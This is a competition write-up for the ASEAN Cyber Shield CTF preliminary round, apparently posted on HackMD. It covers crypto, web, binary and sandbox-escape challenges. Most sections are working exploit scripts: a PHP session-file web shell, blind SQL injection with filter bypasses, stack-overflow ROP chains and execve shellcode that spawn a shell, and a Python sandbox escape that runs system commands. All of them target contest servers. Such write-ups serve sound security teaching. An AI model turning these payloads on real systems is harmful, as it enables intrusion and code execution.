Try   HackMD

ASEAN Cyber Shield Hacking Contest Preliminary Round - Writeup

Crypto

CommonRSA

Common modulus attack

script:

from Crypto.Util.number import long_to_bytes
from sage.all import xgcd
with open("pubkey.txt", "r") as f:
    n, e1, e2 = list(map(int, f.read().splitlines()))
with open("ciphertexts.txt", "r") as f:
    c1, c2 = list(map(int, f.read().splitlines()))
g, a, b = xgcd(e1, e2) # extend euclid algorithm
c1 = pow(c1, a, n)
c2 = pow(c2, b, n)
print(long_to_bytes(c1*c2 % n))

fiboCrypt

Key is the 0xC0FFEE'th fibonacci. Sagemath alreally have a fast compute function for it

script:

from sage.all import fibonacci
from hashlib import sha512

FLAG = b"ACS{??????????????????????????????????}"

def gen_key(k):
    n = fib(k)
    h = sha512(str(n).encode()).digest()
    return h
def unpad(m):
    return m[:len(FLAG)]
with open("output.txt", "r") as f:
    ct = bytes.fromhex(f.read().strip())

def decrypt(c, key):
    m = bytes([a ^ b for a, b in zip(c, key)])
    m = unpad(m)
    return m
k = 0xC0FFEE
fib = fibonacci
def gen_key(k):
    n = fib(k)
    print(n.nbits())
    h = sha512(str(n).encode()).digest()
    return h
key = gen_key(k)
pt = decrypt(ct, key)
print(pt)

HomoRSA

Server will sign a message for us, but didn't check message smaller than N

script:

from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = ""
PORT = 1111
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
if args.LOCAL:
    io = process("./challenge.py")
else:
    io = remote(HOST, PORT)

def rla(a):
    io.recvuntil(a)
    return io.recvline(0)
n = int(rla(b"Modulus:  "), 16)
e = int(rla(b"Exponent:  "), 16)
print(f"{n = }")
print(f"{e = }")
m = bytes_to_long(ADMIN_MSG)
m_sus = m + n

print(m.bit_length())
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", long_to_bytes(m_sus).hex().encode())
sig = int(io.recvline(0).split(b":  ")[-1], 16)
print(sig)


io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", hex(sig)[2:].encode())
io.interactive()

Misc

calccalccalc

Just replace the operator word with the symbol and than eval

script:

from pwn import remote
from tqdm import trange

func = [
    ("plus", "+"),
    ("minus", "-"),
    ("multi", "*"),
    ("divide", "//"),
    ("mod", "%"),
    ("and", "&"),
    ("xor", "^"),
    ("or", "|"),
]

def translate(expr):
    for key, value in func:
        expr = expr.replace(key, value)
    return expr


io = remote("192.168.0.45", 50000)

io.sendafter(b"Good Luck!\n", b"\n")
for i in trange(100):
    expr = io.recvuntil(b" = ", drop=True).decode()
    expr = translate(expr)
    io.sendline(str(eval(expr)).encode())
io.interactive()

imgimgimg

first, binwalk it and we can see it has another png file. Open it to get the password

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Unzip the other zip file, we have 16 picture that combine into a QR Code picture

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Web

EASY PHPINFO

This challenge is about LFI2RCE via php session upload progress, by input ?num=\n1 we can get the output of phpinfo page, save the value of session.save_path and then abusing lfi bug to include the session file

final script:

import requests
import base64
import re

url = "http://192.168.0.45:20001"

def exploit():
    headers = {
        "Cookie": "PHPSESSID=acd"
    }


    data = {
        "PHP_SESSION_UPLOAD_PROGRESS": "<?php echo system($_GET['cmd']); ?>" ,
    }


    files = {
        "file": ("passwd", 'cccccccccccccccccc', "application/octet-stream"),
    }

    requests.post(url, headers=headers, data=data, files=files, verify=False, proxies={"http":"http://127.0.0.1:8080"})
    response = requests.get(url + "/", params={"num": "\n1", "page": "/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_acd", "cmd": "cat /flag"}, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8080"})
    print(response.text)



if __name__ == "__main__":
    exploit()

Render board

There are two bugs in this challenge, sqli to get admin account and then rce via ejs rendering engine.

sqli in the check duplication account functionality:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

script for getting column name of table user

import requests

url = "http://192.168.0.45:22223"

def bypass(payload):
    for p in payload:
        if p in repl:
            payload = payload.replace(p, repl[p])
        if("or" in payload):
            payload = payload.replace("or", "oliker")
        if("and" in payload):
            payload = payload.replace("and", "alikend")
        if("substr" in payload):
            payload = payload.replace("substr", "sublikestr")
    return payload
        
### "%27/**/oliker/**/%281=0%29/**/oliker/**/%27"
repl = {"'": "%27",
        " ": "/**/",
        "(": "%28",
        ")": "%29",
        "_": r"%5f",
        ".": "%2e"}


column = ""
for i in range(1, 30):
    for j in range(32, 127):
        payload = f"""' or IF((select ord(substr(column_name,{i},1)) from information_schema.columns where table_name='user' and table_schema=database() limit 2,1)={j},1,0) or 'a'='b""" 
        #print(payload)
        payload = bypass(payload)
        
        # print(payload)
        data_json = {"username": payload}
        r = requests.post(url + "/auth/check_duplicate", json=data_json, proxies={"http": "http://127.0.0.1:8080"})
        if("false" in r.text):
            column += chr(j)
            print(column)
            break

=> userid and passwd

Then change it a litle bit to find the passwd of admin user acs_admin

userid = "acs_adm"
for i in range(1, 30):
    for j in range(32, 127):
        payload = f"""' or IF((select ord(substr(passwd,{i},1)) from user where is_admin=1 limit 0,1)={j},1,0) or 'a'='b""" 
        #print(payload)
        payload = bypass(payload)
        
        # print(payload)
        data_json = {"username": payload}
        r = requests.post(url + "/auth/check_duplicate", json=data_json)
        if("false" in r.text):
            column += chr(j)
            print(column)
            break

After that, login into admin account and then rce to get the flag

image

Capture The Image

Xss steal secret value in bot cookie via svg tag with onload attribute and then capture the image with url view-source:file:///flag

get secret
image

screen the flag
image

flag
image

Flask newbie

SSTI at /{{config}} to leak jwt secret key, then impersonate admin user poppo and exploit local file read at /downloadifyoucan?filenameyoucandoit=...

image


Binary

Spim

The Program will ask user to input a mips shellcode, shuffles opcodes and execute that shellcode with mixed opcodes:

image

Fortunately we're able to see mixed opcode so we can write a script to mix the opcode for our shell that can execute execve with argument /bin/sh:

from pwn import *

r = process('./spimspim.sh')

shellcode = b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0f\x3c\x6e\x2f\xef\x35\xf8\xff\xaf\xaf\x26\x78\xef\x01\xfc\xff\xaf\xaf\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\xf4\xff\xa4\x27\x0c\x00\x00\x00"

r.recvuntil(b'hexdump of op table: \n')

s = r.recvuntil(b'hexdump of register')
li = s.split(b'|')

op_table = b''

for i in li:
    if b'\n' in i:
        if b'hexdump' in i: continue
        op_table += bytes.fromhex(i.split(b'\n')[1].decode())
    else:
        op_table += bytes.fromhex(i.decode())

print('op_table: ', op_table)
r.recvuntil(b'table: \n')
s = r.recvuntil(b'hexdump of funct')
li = s.split(b'|')

register_table = b''

for i in li:
    if b'\n' in i:
        if b'hexdump' in i: continue
        register_table += bytes.fromhex(i.split(b'\n')[1].decode())
    else:
        register_table += bytes.fromhex(i.decode())
print('register_table: ', register_table)
r.recvuntil(b'table: \n')

funct_table = b''
for i in range(4):
    x = r.recvuntil(b'|')[:-1]
    if b'\n' in x:
        if b'hexdump' in x: continue
        funct_table += bytes.fromhex(x.split(b'\n')[1].decode())
    else:
        funct_table += bytes.fromhex(x.decode())
print('funct_table: ', funct_table)

# -- Shuffle opcode

i_opcode = [4, 5, 8, 9, 10, 11, 12, 13, 15, 35, 36, 37, 40, 41, 43, 48, 56]
j_opcode = [2, 3]
r_opcode = [0]

li_int = []

def find_id_op(val):
    return op_table.index(bytes([val]))

def find_id_reg(val):
    return register_table.index(bytes([val]))

def find_id_func(val):
    return funct_table.index(bytes([val]))

def shuffle_iopcode(val):
    binary_form = bin(val)[2:].rjust(32, '0')

    opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
    rs =  bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
    rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
    imm = binary_form[16:32]

    return int(opcode + rs + rt + imm, 2)

def shuffle_ropcode(val):
    binary_form = bin(val)[2:].rjust(32, '0')

    opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
    rs =  bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
    rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
    rd = bin(find_id_reg(int(binary_form[16:16+5], 2)))[2:].rjust(5, '0')
    shamt = binary_form[21:21+5]
    funct = bin(find_id_func(int(binary_form[26:26+6], 2)))[2:].rjust(6, '0')

    return int(opcode + rs + rt + rd + shamt + funct, 2)


for i in range(0, len(shellcode), 4):
    li_int.append(u32(shellcode[i:i+4]))

for i in range(len(li_int)):
    binary_form = bin(li_int[i])[2:].rjust(32, '0')
    print(binary_form)

    opcode = int(binary_form[:6], 2)
    print(hex(opcode))

    if opcode in i_opcode:
        li_int[i] = shuffle_iopcode(li_int[i])
    elif opcode in r_opcode:
        li_int[i] = shuffle_ropcode(li_int[i])
    else:
        print('lol')
        exit(-1)

shellcode = b''
for i in range(len(li_int)):
    shellcode += p32(li_int[i])

r.sendline(shellcode + b'\x00' * 4)

r.interactive()

# 0x3fdc1000:  lui     t7,0x6962
# 0x3fdc1004:  ori     t7,t7,0x2f2f
# 0x3fdc1008:  sw      t7,-12(sp)
# 0x3fdc100c:  lui     t7,0x6873
# 0x3fdc1010:  ori     t7,t7,0x2f6e
# 0x3fdc1014:  sw      t7,-8(sp)
# 0x3fdc1018:  xor     t7,t7,t7
# 0x3fdc101c:  sw      t7,-4(sp)
# 0x3fdc1020:  li      a1,0
# 0x3fdc1024:  li      a2,0
# 0x3fdc1028:  li      v0,4011
# 0x3fdc102c:  addiu   a0,sp,-12
# 0x3fdc1030:  syscall

Maze

The challenge will show a random maze each stage, and after successfully solve it (by reaching the final tile of the maze, which is at [0x1f, 0x1f]), the challenge will create a character for the flag.

Fast way to solve is to patch the program to win everytime the game starts -> the flag will appear after we finish every level

ACS{3e88fc35ac5b6011b6e7e32afd9552666db7bb21d30e83859665ea5e2cae99bc_I7s_funny_M@ze_Gam3!_C0n9r@tu1ation$_On_C13ar!}

expr

This challenge will check our flag by spawning thread, and do a comparison check. By extracting every comparison, we can use z3 and some guess work to recover the flag.

from z3 import *

arg1 = [BitVec(f"flag_{i}", 64) for i in range(0, 36)]
s = Solver()

def u32(x, id):
    return (x[id + 3] << 24) + (x[id + 2] << 16) + (x[id + 1] << 8) + x[id + 0]

for i in range(32):
    s.add(0 <= arg1[i], arg1[i] <= 0x100)
s.add(arg1[0] == ord('A'))

rax_3 = LShR(u32(arg1, 8), 5) & 0x3f
rax_7 = LShR(u32(arg1, 0x1c), 2) & 0x3f
s.add((((((rax_3 << 0xb) + 7) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x3d) ^ LShR(rax_3, 3))) & 0x3f) == 0x3f)

rax_3 = LShR(u32(arg1, 0x14), 0) & 0x7ff
rax_7 = LShR(u32(arg1, 0x1b), 2) & 0x7ff
s.add((((((rax_3 << 0xd) + 0x557) ^ LShR(rax_7, 2)) + (((rax_7 << 6) + 0x10c) ^ LShR(rax_3, 6))) & 0x7ff) == 0x79d)

rax_3 = LShR(u32(arg1, 0xc), 3) & 0x7fff
rax_7 = LShR(u32(arg1, 2), 4) & 0x7fff
s.add((((((rax_3 << 0xc) + 0xec6) ^ LShR(rax_7, 0xb)) + (((rax_7 << 1) + 0x7b9d) ^ LShR(rax_3, 3))) & 0x7fff) == 0x399a)

rax_3 = LShR(u32(arg1, 0x13), 2) & 0x3f
rax_7 = LShR(u32(arg1, 7), 4) & 0x3f
s.add((((((rax_3 << 7) + 0x27) ^ LShR(rax_7, 1)) + (((rax_7 << 1) + 0x39) ^ LShR(rax_3, 1))) & 0x3f) == 0x17)

rax_3 = LShR(u32(arg1, 0xf), 2) & 0x7ff
rax_7 = LShR(u32(arg1, 7), 2) & 0x7ff
s.add((((((rax_3 << 0xf) + 0x58f) ^ LShR(rax_7, 4)) + (((rax_7 << 1) + 0x383) ^ LShR(rax_3, 0xe))) & 0x7ff) == 0x16c)

rax_3 = LShR(u32(arg1, 0x13), 4) & 0x7fff
rax_7 = LShR(u32(arg1, 0xe), 7) & 0x7fff
s.add((((((rax_3 << 4) + 0x7482) ^ LShR(rax_7, 9)) + (((rax_7 << 0xc) + 0x7037) ^ LShR(rax_3, 0xf))) & 0x7fff) == 0x77f8)

rax_3 = LShR(u32(arg1, 2), 6) & 0x3fff
rax_7 = LShR(u32(arg1, 0x10), 7) & 0x3fff
s.add((((((rax_3 << 0xa) + 0x1575) ^ LShR(rax_7, 0xc)) + (((rax_7 << 0xc) + 0x2f62) ^ LShR(rax_3, 1))) & 0x3fff) == 0x70b)

rax_3 = LShR(u32(arg1, 0x10), 4) & 0x3f
rax_7 = LShR(u32(arg1, 0x10), 0) & 0x3f
s.add((((((rax_3 << 0xe) + 0x3b) ^ LShR(rax_7, 0xc)) + (((rax_7 << 3) + 0x33) ^ LShR(rax_3, 0xc))) & 0x3f) == 6)

rax_3 = LShR(u32(arg1, 0x1b), 6) & 0x7f
rax_7 = LShR(u32(arg1, 8), 2) & 0x7f
s.add((((((rax_3 << 5) + 0x35) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x65) ^ LShR(rax_3, 3))) & 0x7f) == 0x20)

rax_3 = LShR(u32(arg1, 0xf), 1) & 0x1fff
rax_7 = LShR(u32(arg1, 2), 0) & 0x1fff
s.add((((((rax_3 << 6) + 0x6f6) ^ LShR(rax_7, 4)) + (((rax_7 << 0xf) + 0x175b) ^ LShR(rax_3, 5))) & 0x1fff) == 0x41a)

rax_3 = LShR(u32(arg1, 0xa), 5) & 0x3fff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x3fff
s.add((((((rax_3 << 4) + 0x96f) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xf) + 0x7a5) ^ LShR(rax_3, 1))) & 0x3fff) == 0x3a87)

rax_3 = LShR(u32(arg1, 9), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 0x12), 7) & 0x3ff
s.add((((((rax_3 << 2) + 0x370) ^ LShR(rax_7, 5)) + (((rax_7 << 0xf) + 0x186) ^ LShR(rax_3, 0xb))) & 0x3ff) == 0x2bd)

rax_3 = LShR(u32(arg1, 0x14), 6) & 0xfff
rax_7 = LShR(u32(arg1, 4), 1) & 0xfff
s.add((((((rax_3 << 0xc) + 0x537) ^ LShR(rax_7, 0xd)) + (((rax_7 << 5) + 0x774) ^ LShR(rax_3, 5))) & 0xfff) == 0x409)

rax_3 = LShR(u32(arg1, 0x12), 6) & 0xfff
rax_7 = LShR(u32(arg1, 0x11), 1) & 0xfff
s.add((((((rax_3 << 2) + 0xd0c) ^ LShR(rax_7, 0xa)) + (((rax_7 << 1) + 0xce6) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x190)

rax_3 = LShR(u32(arg1, 0x12), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 1), 7) & 0x3ff
s.add((((((rax_3 << 0xe) + 0x314) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xb) + 0x241) ^ LShR(rax_3, 4))) & 0x3ff) == 0x17a)

rax_3 = LShR(u32(arg1, 0x1b), 7) & 0x1ff
rax_7 = LShR(u32(arg1, 0x17), 0) & 0x1ff
s.add((((((rax_3 << 2) + 0x163) ^ LShR(rax_7, 0xe)) + (((rax_7 << 1) + 0x121) ^ LShR(rax_3, 0xd))) & 0x1ff) == 0xce)

rax_3 = LShR(u32(arg1, 0xc), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0xa), 4) & 0xfff
s.add((((((rax_3 << 2) + 0x5f9) ^ LShR(rax_7, 0xa)) + (((rax_7 << 0xa) + 0xf9e) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x2a7)

rax_3 = LShR(u32(arg1, 8), 3) & 0x3ff
rax_7 = LShR(u32(arg1, 0xd), 2) & 0x3ff
s.add((((((rax_3 << 5) + 0x3c) ^ LShR(rax_7, 8)) + (((rax_7 << 0xc) + 0x213) ^ LShR(rax_3, 1))) & 0x3ff) == 0x3ce)

rax_3 = LShR(u32(arg1, 0x11), 3) & 0x3f
rax_7 = LShR(u32(arg1, 0x1a), 3) & 0x3f
s.add((((((rax_3 << 3) + 0x20) ^ LShR(rax_7, 4)) + (((rax_7 << 8) + 0x2a) ^ LShR(rax_3, 7))) & 0x3f) == 4)

rax_3 = LShR(u32(arg1, 7), 1) & 0x7fff
rax_7 = LShR(u32(arg1, 1), 6) & 0x7fff
s.add((((((rax_3 << 0xa) + 0x3ab2) ^ LShR(rax_7, 8)) + (((rax_7 << 0xd) + 0x1c42) ^ LShR(rax_3, 3))) & 0x7fff) == 0x6220)

rax_3 = LShR(u32(arg1, 0xd), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0x14), 0) & 0xfff
s.add((((((rax_3 << 0xa) + 0xbd1) ^ LShR(rax_7, 4)) + (((rax_7 << 6) + 0x9f6) ^ LShR(rax_3, 0xb))) & 0xfff) == 0x239)

rax_3 = LShR(u32(arg1, 2), 0) & 0x3f
rax_7 = LShR(u32(arg1, 0x1b), 3) & 0x3f
s.add((((((rax_3 << 8) + 0x16) ^ LShR(rax_7, 5)) + (((rax_7 << 1) + 0x1f) ^ LShR(rax_3, 3))) & 0x3f) == 0x3c)

rax_3 = LShR(u32(arg1, 1), 2) & 0x7f
rax_7 = LShR(u32(arg1, 0x17), 5) & 0x7f
s.add((((((rax_3 << 0xb) + 0x33) ^ LShR(rax_7, 8)) + (((rax_7 << 0xe) + 0xd) ^ LShR(rax_3, 8))) & 0x7f) == 0x40)

rax_3 = LShR(u32(arg1, 0x18), 2) & 0xfff
rax_7 = LShR(u32(arg1, 1), 0) & 0xfff
s.add((((((rax_3 << 5) + 0xf24) ^ LShR(rax_7, 8)) + (((rax_7 << 3) + 0xcf2) ^ LShR(rax_3, 4))) & 0xfff) == 0x7d9)

rax_3 = LShR(u32(arg1, 0x18), 7) & 0x7ff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x7ff
s.add((((((rax_3 << 5) + 0x7eb) ^ LShR(rax_7, 0xd)) + (((rax_7 << 4) + 0x789) ^ LShR(rax_3, 1))) & 0x7ff) == 0x3d2)
...

ACS{y0u50lv3DtH33xpr35510N5!}

rustarm

A simple encryption algorithm, we can easily write a script to decrypt the flag

x = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()-_=+'
key = 'ACSISACEANCYBERSECURITY'
enc = bytes.fromhex('2c171c245d43000e3a24202323472130092757002a2b15')

for i in range(23):
    print(x[x.index(key[i]) ^ enc[i]], end = '')

ACS{cR0s$_C0mpi1e_wi7h_Rust}

Register

It has 2 buffer overflow bugs. The first one can leak canary because printf does not stop at null byte. We will use the second bof to partial overwrite main's return address to <__libc_start_call_main+121>, which can return to main one more time, then leak libc address then rop.

from pwn import *

p = remote('192.168.0.45', 19876)
# p = process('./register')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload = b'a'*0x29
p.sendafter(b'> ', payload)

p.recvuntil(b'a'*0x29)

canary = u64(b'\x00' + p.recv(7))
print(hex(canary))

payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += b'\x89'

gdb.attach(p, 'b*main+302')
p.sendafter(b'> ', payload)

payload = b'a'*0x38
p.sendafter(b'> ', payload)

p.recvuntil(b'a'*0x38)
libc.address = u64(p.recv(6) + b'\x00'*2) - 0x29d90
print(hex(libc.address))

pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))


payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(libc.sym['system'])

p.sendafter(b'> ', payload)

p.interactive()

Sig Me

Set signal to SIGALRM.

Coding test

Use getdents syscall to get flag name. Then orw.

from pwn import *

context.arch = "x86_64"

# sh = shellcraft.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c")
# sh += shellcraft.read(3, 'rsp', 0x100)
# sh += shellcraft.write(1, 'rsp', 'rax')

# print(asm(sh))

# p = process('./coding_test')
p = remote('192.168.0.45', 10137)

p.recv()
# gdb.attach(p)
# p.sendline(asm(sh))

# /home/ctf_user/flag_ed807a45f84463aac37414be73d5849c
p.sendline(asm('''
push 0
mov rbx, 0x0000000063393438
push rbx
mov rbx, 0x3564333765623431
push rbx
mov rbx, 0x3437336361613336
push rbx
mov rbx, 0x3434386635346137
push rbx
mov rbx, 0x303864655f67616c
push rbx
mov rbx, 0x662f726573755f66
push rbx
mov rbx, 0x74632f656d6f682f
push rbx
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''))

print(p.recv(0x100))

# p.sendline(asm('''
# mov rbx, 0x002f726573755f66
# push rbx
# mov rbx, 0x74632f656d6f682f
# push rbx
# mov rdi, rsp
# xor rsi, rsi
# xor rdx, rdx
# mov rax, 2
# syscall

# mov rdi, rax
# mov rsi, rsp
# mov rdx, 0x200
# mov rax, 217
# syscall

# mov rdi, 1
# mov rax, 1
# mov rsi, rsp
# mov rdx, 0x100
# syscall
# '''))


p.interactive()

Rendezvous

Bof in block command. Leak through content.

from pwn import *

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
# p = process('./rendezvous')
# p = process('./rendezvous_patched')
p = remote('192.168.0.45', 60002)

script = '''
b*0x55555555787C
b*0x555555557EF7
b*0x555555558060
b*0x555555558609
b*0x5555555555C3
b*0x5555555556bc
d 2 3
c
'''

random_str = p.recvline()[:-1].decode()
# print(random_str)

# set pass
payload = b'\xef\xbb\xbf'
payload += f'{{"cmd":0, "pass":"{random_str}"}}'.encode()
p.sendline(payload)

payload = b'\xef\xbb\xbf'
key = '0,'*0x400 + '0'
payload += f'{{"cmd":1, "key":[{key}]}}'.encode()
p.sendline(payload)

payload = b'\xef\xbb\xbf'
block = '0,'*0x108 + '"a",'*0x100 + '"a"'
content = '0,'*0x150 + '0'

payload += f'{{"cmd":2, "block":[{block}], "content":[{content}]}}'.encode()
p.sendline(payload)

p.recvline()
p.recvline()

res = p.recvrepeat(0.5)

canary = u64(res[0x108:0x110])
print(hex(canary))

libc.address = u64(res[0x138:0x140]) - 0x29d90
print(hex(libc.address))

pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

rop = b'a'*0x108
rop += p64(canary)
rop += b'a'*8
rop += p64(pop_rdi)
rop += p64(bin_sh)
rop += p64(pop_rdi + 1)
rop += p64(system - 16)

payload = b'\xef\xbb\xbf'
block = ''
for i in rop:
	block += str(i) + ','
block += '0'
content = '0,'*0x150 + '0'

# gdb.attach(p, script)
payload += f'{{"cmd":2, "block":[{block}]}}'.encode()
print(payload)
p.sendline(payload)

p.interactive()

Audit

escape room

Server receive code from input and check blacklist then exec, but it didn't clean the global variables. So in globals() already have module "os", "sys", alse use __dict__ to acess to the method in the object

solve.py:

from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = "192.168.0.45"
PORT = 50137
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
io = remote(HOST, PORT)
src = open("src.py", "r").read() + "\nEOF\n"
io.sendafter(b"> ", src)
io.interactive()

src.py:

lmao = globals()["o" + "s"]
print(lmao.__dict__["sy"+"stem"]("""`cd home && cd ctf_user && cat fla* | base64 | tr -d "\n"`"""))

Key in haystack

If command is ADMIN, it will open the key file, and reads its content to the stack, but later when we use the insert function, the size is not initialized and will still hold the value of the key, so we can leak 3 bytes of the key (still need to send the first byte to read function). Then bruteforce one byte to get the correct key, insert shellcode then execute it.

from pwn import *

p = process('./chall')
# p = remote('192.168.0.45', 5555)

# ip = b'127.0.0.1'
port = 9999
sc = b"\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x6A\x00\x53\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"


# gdb.attach(p, 'b*main+71')
sleep(2)
p.sendline(b'INSERT'.ljust(9, b'\x00'))
sleep(2)
p.send(p32(len(sc)))
sleep(2)
p.send(sc)

for i in range(0x40, 0x41):
# for i in range(0xff + 1):
    p.sendline(b'ADMIN'.ljust(9, b'\x00'))
    a = (0x4e6230 << 8) + i
    print(p32(a))
    p.send(p32(a))

p.interactive()